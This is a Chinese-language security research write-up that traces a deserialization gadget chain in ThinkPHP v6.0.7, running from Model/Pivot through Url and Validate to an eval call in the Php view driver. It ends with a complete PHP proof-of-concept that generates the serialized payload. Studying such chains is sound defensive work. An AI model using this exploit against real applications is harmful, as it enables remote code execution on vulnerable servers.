最近分析了不少的 ThinkPHP v6.0.x 反序列化链条,发现还蛮有意思的,但美中不足的是无法拥有直接调用形如 eval
的能力。于是就自己就在最新的(目前是 ThinkPHP v6.0.7)版本上基于原有的反序列化链,再挖了一条能够执行 eval
的。
直接使用 composer
安装 V6.0.7
版本的即可。
-> composer create-project topthink/think=6.0.7 tp607
-> cd tp607
-> php think run
修改入口 app/controller/Index.php 内容,创造一个可控反序列化点:
这里还是由 ThinkPHP v6.0.x 的入口进入。
在 Model
类 (vendor/topthink/think-orm/src/Model.php)
存在一个 __destuct
魔法方法。当然 Model
这玩意是个抽象类,得从它的 继承类 入手,也就是 Pivot
类 (vendor/topthink/tink-orm/src/model/Pivot.php )
。
abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable { /** * ...... */ public function __destruct() { if ($this->lazySave) { $this->save(); } } } class Pivot extends Model { /** * ...... */ }
我们先让 $this->lazySave = true
,从而跟进 $this->save()
方法。
// abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{} public function save(array $data = [], string $sequence = null): bool { // 数据对象赋值 $this->setAttrs($data); if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) { return false; } $result = $this->exists ? $this->updateData() : $this->insertData($sequence); /** * ...... */ }
其中 $this->setAttrs($data)
这个语句无伤大雅,跟进去可以发现甚至可以说啥事也没做。
// abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{} public function setAttrs(array $data): void { // 进行数据处理 foreach ($data as $key => $value) { $this->setAttr($key, $value, $data); } }
那么我们这里还需要依次绕过 if ($this->isEmpty() || false === $this->trigger('BeforeWrite'))
中的两个条件。跟进 $this->isEmpty()
以及 $this->trigger('BeforeWrite')
,我们发现 $this->data
要求不为 null
,且 $this->withEvent == true
。
// abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{} public function isEmpty(): bool { return empty($this->data); } // trait ModelEvent{} protected function trigger(string $event): bool { if (!$this->withEvent) { return true; } /** * ...... */ }
此时, $this->isEmpty()
返回 false
,$this->trigger('BeforeWrite')
返回 true
。我们顺利进入下一步 $result = $this->exists ? $this->updateData() : $this->insertData($sequence);
。我们在上边可以发现 $this->exists
的默认值为 false
,不妨直接跟进 $this->insertData($sequence)
,其中 sequence = null
。
// abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{} protected $exists = false; protected function insertData(string $sequence = null): bool { if (false === $this->trigger('BeforeInsert')) { return false; } $this->checkData(); $data = $this->writeDataType($this->data); // 时间戳自动写入 if ($this->autoWriteTimestamp) { /** * ...... */ } // 检查允许字段 $allowFields = $this->checkAllowFields(); /** * ...... */ }
显然,$this->trigger('BeforeInsert')
的值在上边已经被我们构造成了 true
了,这里继续跟进 $this->checkData()
以及 $data = $this->writeDataType($this->data)
。$this->checkData()
直接可以略过,而传入 $this->writeDataType()
的参数 $this->data
在上边已经被我们构造成一个 非null
的值,这里不妨将其构造成 [7]
,由于 $this->type
的值默认为 []
,这里的遍历是没有影响的。
trait Attribute { protected $type = []; } // abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{} protected function checkData(): void { } protected function writeDataType(array $data): array { foreach ($data as $name => &$value) { if (isset($this->type[$name])) { // 类型转换 $value = $this->writeTransform($value, $this->type[$name]); } } return $data; }
至于 $this->autoWriteTimestamp
的默认值是没有的,相当于 null
,这里直接用 弱类型比较 直接略过。
trait TimeStamp { protected $autoWriteTimestamp; }
此时,我们来到 $allowFields = $this->checkAllowFields()
,其中 $this->field
和 $this->schema
的默认值都为 []
,因而可以直接来到 else{
。
trait Attribute { protected $schema = []; protected $field = []; } // abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{} protected function checkAllowFields(): array { // 检测字段 if (empty($this->field)) { if (!empty($this->schema)) { $this->field = array_keys(array_merge($this->schema, $this->jsonType)); } else { $query = $this->db(); $table = $this->table ? $this->table . $this->suffix : $query->getTable(); $this->field = $query->getConnection()->getTableFields($table); } return $this->field; } /** * ...... */ }
那么,继续跟进 $this->db
,来到了 关键点 ,第一句 $query = ...
可以直接跳过,而在 $query->table($this->table . $this->suffix)
这里存在熟悉的字符拼接。这样只需要让 $this->table
或 $this->suffix
为一个 类 就可以触发那个 类 的 __toString
魔法方法了。
// abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable{} public function db($scope = []): Query { /** @var Query $query */ $query = self::$db->connect($this->connection)->name($this->name . $this->suffix)->pk($this->pk); if (!empty($this->table)) { $query->table($this->table . $this->suffix); } /** * ...... */ }
简单总结一下,要触发 __toString
需要构造:
$this->lazySave
= true
$this->data
= [7]
$this->withEvent
= true
至于 __toSring
魔法方法的类,我们这里选择 Url
类 (vendor/topthink/framework/src/think/route/Url.php)
,首先第一个条件 if (0 === strpos($url, '[') && $pos = strpos($url, ']'))
需要绕过,第二个条件 if (false === strpos($url, '://') && 0 !== strpos($url, '/'))
需要满足最上部分,并使得 $url
的值为 ''
。
class Url { public function __toString() { return $this->build(); } public function build() { // 解析URL $url = $this->url; $suffix = $this->suffix; $domain = $this->domain; $request = $this->app->request; $vars = $this->vars; if (0 === strpos($url, '[') && $pos = strpos($url, ']')) { // [name] 表示使用路由命名标识生成URL $name = substr($url, 1, $pos - 1); $url = 'name' . substr($url, $pos + 1); } if (false === strpos($url, '://') && 0 !== strpos($url, '/')) { $info = parse_url($url); $url = !empty($info['path']) ? $info['path'] : ''; if (isset($info['fragment'])) { // 解析锚点 $anchor = $info['fragment']; if (false !== strpos($anchor, '?')) { // 解析参数 [$anchor, $info['query']] = explode('?', $anchor, 2); } if (false !== strpos($anchor, '@')) { // 解析域名 [$anchor, $domain] = explode('@', $anchor, 2); } } elseif (strpos($url, '@') && false === strpos($url, '\\')) { // 解析域名 [$url, $domain] = explode('@', $url, 2); } } if ($url) { /** * ...... */ $rule = $this->route->getName($checkName, $checkDomain); /** * ...... */ } if (!empty($rule) && $match = $this->getRuleUrl($rule, $vars, $domain)) { // 匹配路由命名标识 $url = $match[0]; if ($domain && !empty($match[1])) { $domain = $match[1]; } if (!is_null($match[2])) { $suffix = $match[2]; } } elseif (!empty($rule) && isset($name)) { throw new \InvalidArgumentException('route name not exists:' . $name); } else { // 检测URL绑定 $bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null); /** * ...... */ } /** * ...... */ } }
我们先让让 $this->url
构造成 a:
,此时 $url
的值也就为 ''
,后边的各种条件也不会成立,可以直接跳过 。
然后再看 if($url)
,由于 弱类型 比较直接略过。
此时由于 $rule
是在 if($url){
条件内被赋值,那么 if (!empty($rule) && $match = $this->getRuleUrl($rule, $vars, $domain))
以及 elseif (!empty($rule) && isset($name))
这两个也不会成立,直接略过。
此时,我们来到 else{
内,其中 $bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null)
这个代码为点睛之笔。显然,$this->route
是可控的,$domain
变量的值实际上就是 $this->domain
,也是一个可控的字符型变量,我们现在就能得到了一个 [可控类] -> getDomainBind([可控字符串]) 的调用形式。
总结来说,满足该调用形式需要构造:
$this->url
= 'a:'
$this->app
= 给个public的request属性的任意类
然后全局搜索 __call
魔法方法,在 Validate
类 (vendor/topthink/framework/src/think/Validate.php)
中存在一个可以称为 “简直为此量身定做” 的形式。
// class Str{} public static function studly(string $value): string { $key = $value; if (isset(static::$studlyCache[$key])) { return static::$studlyCache[$key]; } $value = ucwords(str_replace(['-', '_'], ' ', $value)); return static::$studlyCache[$key] = str_replace(' ', '', $value); } public static function camel(string $value): string { if (isset(static::$camelCache[$value])) { return static::$camelCache[$value]; } return static::$camelCache[$value] = lcfirst(static::studly($value)); } // class Validate{} class Validate { public function is($value, string $rule, array $data = []): bool { switch (Str::camel($rule)) { case 'require': // 必须 $result = !empty($value) || '0' == $value; break; /** * ...... */ break; case 'token': $result = $this->token($value, '__token__', $data); break; default: if (isset($this->type[$rule])) { // 注册的验证规则 $result = call_user_func_array($this->type[$rule], [$value]); } elseif (function_exists('ctype_' . $rule)) { /** * ...... */ } return $result; } public function __call($method, $args) { if ('is' == strtolower(substr($method, 0, 2))) { $method = substr($method, 2); } array_push($args, lcfirst($method)); return call_user_func_array([$this, 'is'], $args); } }
这里先从 __call
看起,显然在调用 call_user_func_array
函数时,相当于 $this->is([$domain,'getDomainBind'])
,其中 $domain
是可控的。
跟进 $this->is
方法, $rule
变量的值即为 getDomainBind
, Str::camel($rule)
的意思实际上是将 $rule = 'getDomainBind'
的 - 和 _ 替换成 '' , 并将每个单词首字母大写存入 static::$studlyCache['getDomainBind']
中,然后回头先将首字母小写后赋值给 camel
方法的 static::$cameCache['getDomainBind']
,即返回值为 getDomainBind 。
由于 switch{
没有一个符合 getDomainBind 的 case
值,我们可以直接看 default
的内容。 $this->type[$rule]
相当于 $this->type['getDomainBind']
,是可控的,而 $value
值即是上边的 $domain
也是可控的,我们现在就能得到了一个 call_user_func_array([可控变量],[[可控变量]]) 的形式了。
实际上现在也就可以进行传入 单参数 的函数调用,可这并不够!!!我们来到 Php
类 (vendor/topthink/framework/src/think/view/driver/Php.php)
中,这里存在一个调用 eval
的且可传 单参数 的方法 display
。
class Php implements TemplateHandlerInterface { public function display(string $content, array $data = []): void { $this->content = $content; extract($data, EXTR_OVERWRITE); eval('?>' . $this->content); } }
假若用上边的 call_user_func_array([可控变量],[[可控变量]]) 形式,构造出 call_user_func_array(['Php类','display'],['<?php (任意代码) ?>'])
即可执行 eval
了。
总的来说,我们只需要构造如下:
$this->type
= ["getDomainBind" => [Php类,'display']]
就可以了。
__toString
:[可控类] -> getDomainBind([可控字符串])
进入 __call
:call_user_func_array([可控变量],[[可控变量]])
执行 eval
:<?php namespace think\model\concern{ trait Attribute{ private $data = [7]; } } namespace think\view\driver{ class Php{} } namespace think{ abstract class Model{ use model\concern\Attribute; private $lazySave; protected $withEvent; protected $table; function __construct($cmd){ $this->lazySave = true; $this->withEvent = false; $this->table = new route\Url(new Middleware,new Validate,$cmd); } } class Middleware{ public $request = 2333; } class Validate{ protected $type; function __construct(){ $this->type = [ "getDomainBind" => [new view\driver\Php,'display'] ]; } } } namespace think\model{ use think\Model; class Pivot extends Model{} } namespace think\route{ class Url { protected $url = 'a:'; protected $domain; protected $app; protected $route; function __construct($app,$route,$cmd){ $this->domain = $cmd; $this->app = $app; $this->route = $route; } } } namespace{ echo base64_encode(serialize(new think\Model\Pivot('<?php phpinfo(); exit(); ?>'))); }
利用结果: